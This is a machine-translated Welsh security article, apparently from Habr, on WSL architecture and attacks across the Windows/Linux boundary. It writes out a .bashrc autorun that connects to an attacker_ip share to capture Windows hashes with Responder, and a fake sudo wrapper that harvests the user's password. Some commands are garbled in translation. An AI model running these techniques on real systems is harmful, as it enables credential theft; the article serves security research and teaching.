Arbrofion WSL. Rhan 1

Helo, habr! Mae OTUS yn lansio ffrwd cwrs newydd ym mis Hydref "Diogelwch Linux". Gan ragweld dechrau'r cwrs, rydym yn rhannu gyda chi erthygl a ysgrifennwyd gan un o'n hathrawon, Alexander Kolesnikov.

Arbrofion WSL. Rhan 1

Yn 2016, cyflwynodd Microsoft y dechnoleg WSL newydd i'r gymuned TG (Windows Subsystem ar gyfer Linux), a oedd yn y dyfodol yn ei gwneud hi'n bosibl uno cystadleuwyr anghymodlon o'r blaen a oedd yn ymladd am boblogrwydd ymhlith defnyddwyr arferol ac uwch yr AO: Windows a Linux. Roedd y dechnoleg hon yn ei gwneud hi'n bosibl defnyddio offer Linux OS mewn amgylchedd Windows heb fod angen rhedeg Linux, er enghraifft, gan ddefnyddio Multi-boot. Ar Habr gallwch ddod o hyd i nifer fawr o erthyglau sy'n disgrifio manteision defnyddio WSL. Fodd bynnag, yn anffodus, ar adeg creu'r erthygl hon, ni ddarganfuwyd unrhyw astudiaethau ar ddiogelwch systemau gweithredu o'r fath ar yr adnodd hwn. Bydd y post hwn yn ymgais i gywiro hyn. Bydd yr erthygl yn sôn am nodweddion pensaernïaeth WSL 1 a 2 ac yn archwilio sawl enghraifft o ymosodiadau ar systemau gan ddefnyddio'r technolegau hyn. Rhennir yr erthygl yn 2 ran. Bydd y cyntaf yn darparu'r prif ddulliau ymosod damcaniaethol o Linux a Windows. Bydd yr ail erthygl yn cynnwys sefydlu amgylchedd prawf ac atgynhyrchu'r ymosodiadau.

WSL 1: nodweddion pensaernïol

Ar gyfer y plymio mwyaf cywir i faterion diogelwch WSL, mae angen pennu'r prif arlliwiau sy'n gysylltiedig â gweithredu'r is-system. Un o'r prif dasgau defnyddiwr a ddatrysir gan WSL yw'r gallu i weithio trwy derfynell Linux ar westeiwr sy'n rhedeg Windows OS. Hefyd, roedd y cydnawsedd a gynigiwyd mor frodorol fel y gellid rhedeg Linux executables (ELFs) yn uniongyrchol ar system Windows. Er mwyn cyflawni'r nodau hyn, crëwyd is-system arbennig yn Windows 10 sy'n eich galluogi i redeg cymwysiadau Linux gan ddefnyddio set o alwadau system benodol - felly, gwnaed ymgais i fapio set o syscalls Linux ar Windows. Gweithredwyd hyn yn gorfforol trwy ychwanegu gyrwyr newydd a fformat proses newydd. Yn weledol roedd y bensaernïaeth yn edrych fel hyn:

Arbrofion WSL. Rhan 1

Mewn gwirionedd, trefnwyd rhyngweithio â system weithredu Linux trwy sawl modiwl cnewyllyn a math arbennig o broses - pico. O'r diagram uchod, gallwch weld bod yn rhaid i'r broses sy'n rhedeg ar yr enghraifft Linux ar y gwesteiwr fod yn frodorol a rhaid iddi ddefnyddio'r un adnoddau â chymwysiadau Windows rheolaidd. Ond sut i gyflawni hyn? Mewn prosiect Bridgebridge Datblygwyd cysyniadau proses ar gyfer Windows a oedd yn darparu'r holl gydrannau angenrheidiol o'r system weithredu (yn dibynnu ar ei fersiwn) i redeg cymhwysiad o OS arall.

Sylwch fod y tynnu arfaethedig wedi'i gwneud hi'n bosibl peidio â chanolbwyntio ar y system weithredu (yn arbennig, Windows), y disgwylir i broses OS arall ei lansio, ac awgrymodd ddull cyffredinol.

Felly, gallai unrhyw gais y tu mewn i'r broses pico redeg heb ystyried cnewyllyn Windows:

  1. Rhaid i broblemau cydnawsedd a chyfieithu galwadau system gael eu datrys gan ddarparwyr arbennig;
  2. Rhaid rheoli mynediad trwy'r Monitor Diogelwch. Mae'r monitor wedi'i leoli yn y cnewyllyn ac felly roedd angen uwchraddio Windows ar ffurf gyrrwr newydd a allai weithredu fel darparwr ar gyfer prosesau o'r fath. Cyflwynir y broses pico prototeip yn sgematig isod:

Arbrofion WSL. Rhan 1

Gan fod system ffeiliau Linux yn defnyddio enwau ffeiliau a chyfeiriadur sy'n sensitif i achos, ychwanegwyd 2 fath o systemau ffeil at Windows i weithio gyda WSL - VolFS a DriveFS. Mae VolFS yn weithrediad system ffeiliau Linux, mae DriveFS yn system ffeiliau sy'n gweithio yn unol â rheolau Windows, ond mae ganddo'r gallu i ddewis sensitifrwydd achos.

WSL 2

Roedd gan WSL 1 nifer o gyfyngiadau nad oedd yn caniatáu iddo gael ei ddefnyddio i ddatrys yr ystod uchaf o dasgau: er enghraifft, nid oedd ganddo'r gallu i redeg cymwysiadau Linux 32-bit, ac roedd yn amhosibl defnyddio gyrwyr dyfais. Felly, yn 2020, rhyddhawyd WSL 2, a newidiodd y dull o adeiladu'r is-system. Mae WSL 2 yn beiriant rhithwir wedi'i optimeiddio sy'n cyd-fynd â nodweddion defnydd adnoddau WSL 1. Nawr, yn dibynnu ar y problemau a ddatryswyd gan ddefnyddiwr Windows OS, gallwch ddewis y fersiwn ofynnol o is-system Linux. Er mwyn lliniaru gwendidau posibl, gweithredwyd WSL 2 yn seiliedig ar Hyper-V yn Windows 10. Yn y ffurflen hon, mae gan Windows y gallu i redeg cnewyllyn system weithredu Linux ar ei ben ei hun. Mae'n werth cofio bod fersiwn 1 o WSL wedi'i chyflwyno fel nodwedd beta a oedd i fod i ddangos cyfeiriad datblygiad Windows yn y maes hwn, felly roedd y newid i Hyper-V yn anochel. Mae'r bensaernïaeth derfynol yn edrych fel hyn:

Arbrofion WSL. Rhan 1

Yn y fersiwn hon, mae gan y cnewyllyn Windows a Linux eu hadnoddau eu hunain ac mae'r croestoriad yn bodoli yn y system ffeiliau yn unig, ond nid yw'r groesffordd hon yn gyflawn. Mae rhyngweithio rhwng systemau ffeiliau yn cael ei wneud trwy lapiwr cleient-gweinydd sy'n gweithio gan ddefnyddio'r protocol 9P.

Heddiw mae Microsoft yn darparu'r gallu i newid rhwng WSL 1 a WSL 2. Mae'r ddau fersiwn ar gael i'w defnyddio.

Diogelwch WSL

Ar hyn o bryd, mae sawl gwaith yn disgrifio rhai dulliau o ddefnyddio offer OS cyfreithlon i ymosod ar gyfathrebu rhwng is-systemau. Byddwn yn defnyddio eu sgriptiau i wirio perthnasedd yr ymosodiadau ar adeg eu hysgrifennu. Rhestr gyffredinol o ymosodiadau a senarios:

1. Gweithredu system ffeiliau: hawliau mynediad, argaeledd cyfeirlyfrau/mecanweithiau cyfnewid data a rennir.

Cynhaliwyd ymchwil i benderfynu ar achosion o dorri rheolau mynediad o Linux FS-> Windows FS, Windows FS-> Linux FS. Mae ymchwil wedi dangos y gallu i addasu ffeil benodol o fewn yr OS targed. Ymdrechwyd hefyd i amnewid, creu copïau dyblyg a dileu rhan o'r systemau ffeiliau.

Senario:

  • A. Ymosodiad o system weithredu Windows - addasu ffeiliau o gyfeiriadur /etc yr OS Linux.
  • B. Ymosodiad o system weithredu Linux - addasu ffeiliau mewn cyfeiriaduron: C:Windows, C:Program Files, C:Users<User>

2. Gweithredu'r pentwr rhwydwaith.

Cynhaliwyd yr ymchwil gan ddefnyddio enghreifftiau o ymosodiadau gan system weithredu Linux ar Windows. Defnyddiwyd nodweddion y pentwr rhwydwaith, sef, mecanweithiau dilysu ar adnoddau amrywiol.

Senario:

  • Agor mynediad i borthladd sy'n cael ei feddiannu ar system Windows
  • Agor porthladd heb yr hawliau priodol
  • Rhedeg cragen wrthdroi gan ddefnyddio ffeil elf ar system weithredu Windows.

3. Cuddio lansiad prosesau meddalwedd maleisus gan ddefnyddio is-system WSL.

Roedd yr ymchwil yn seiliedig ar ffaith syml - ni all is-systemau diogelwch ryng-gipio digwyddiadau mewn cnewyllyn arall sy'n gweithio gan ddefnyddio darparwr cyfreithlon o'r system weithredu yn achos WSL 1. Yn achos WSL 2, nid oes unrhyw ffordd i weld digwyddiadau sy'n digwydd mewn cnewyllyn ar wahân o fewn peiriant rhithwir ysgafn.

Senario:

1) Lansio'r cais am fynediad o bell i'r system a gweld y digwyddiadau sydd wedi'u cofnodi.

Arbrofion WSL 1: rhyng-gipio hash (Windows)

O'r diwedd fe gyrhaeddon ni'r rhan ymarferol. Yn gyntaf, mae angen i chi sefydlu'r amgylchedd prawf. Bydd yr holl arbrofion yn cael eu cynnal ar fainc gyda Windows 10 2004 wedi'u gosod. Dewiswyd delwedd Ubuntu 18.04 fel delwedd y system weithredu ar gyfer WSL. Dewiswyd y ddelwedd ar hap, a bydd unrhyw un arall yn gweithio yr un peth. Gorchmynion ar gyfer gosod stondin:

Rhaid i chi lansio yn gyntaf powershell.exe fel gweinyddwr.

Ar gyfer WSL 1 mae angen i chi redeg y gorchmynion:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Ar ôl ailgychwyn y stondin, gallwch chi ffonio'r gorchymyn bash. Pe bai popeth yn gweithio'n iawn, fe welwch allbwn tebyg i hyn yn y consol Windows:

    Arbrofion WSL. Rhan 1

    Byddwn yn defnyddio dosbarthiad Kali Linux fel peiriant yr ymosodwr; rhaid i bob peiriant fod ar yr un rhwydwaith lleol.

    Gadewch i ni dybio bod gennym ni fynediad di-freintiedig i WSL ar beiriant Windows. Gadewch i ni geisio ymosod ar system weithredu Linux trwy alw gorchymyn gan Linux. I weithredu'r ymosodiad, byddwn yn defnyddio techneg autorun syml - byddwn yn ychwanegu ein sgript i'w weithredu yn amgylchedd Linux. I wneud hyn mae angen i chi newid y ffeil .bashrc.

    Ar beiriant gyda WSL rydym yn gweithredu:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Ar beiriant Kali Linux rydyn ni'n rhedeg:

    1. Responder -I eth0 -rdvw

    Ar beiriant Windows, gadewch i ni lansio bash.

    Rydym yn aros am y canlyniad ar y peiriant Kali Linux:

    Arbrofion WSL. Rhan 1

    Felly, cawsom hashes defnyddiwr Windows trwy is-system WSL trwy weithredu'r gorchymyn ar y system Linux.

    Arbrofion WSL 1: cael cyfrinair defnyddiwr (Linux OS)

    Gadewch i ni wneud un arbrawf arall. Yn ystod y gwiriad hwn byddwn yn ychwanegu at y ffeil .bashrc sawl gorchymyn er mwyn cael cyfrinair defnyddiwr system weithredu Linux.

    Gadewch i ni lansio bash a nodi'r gorchmynion:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    I gwblhau'r ymosodiad yn llwyddiannus, mae angen i'r defnyddiwr Sam alw sudo yn y derfynell Linux. Ar ôl hyn, bydd cyfrinair defnyddiwr Linux OS yn y ffeil pass.txt:

    Arbrofion WSL. Rhan 1

    Rhoddwyd gweithrediad yr ymosodiadau er gwybodaeth ddamcaniaethol yn unig.

    Bydd rhan nesaf yr erthygl yn disgrifio gweithrediad y protocol 9P, yn ystyried creu sganiwr ar gyfer y protocol hwn, a hefyd yn cynnal ymosodiad gan ei ddefnyddio.

    Rhestr o lenyddiaeth a ddefnyddiwyd

    Arbrofion WSL. Rhan 1

    Darllen mwy

    Ffynhonnell: hab.com

    Ychwanegu sylw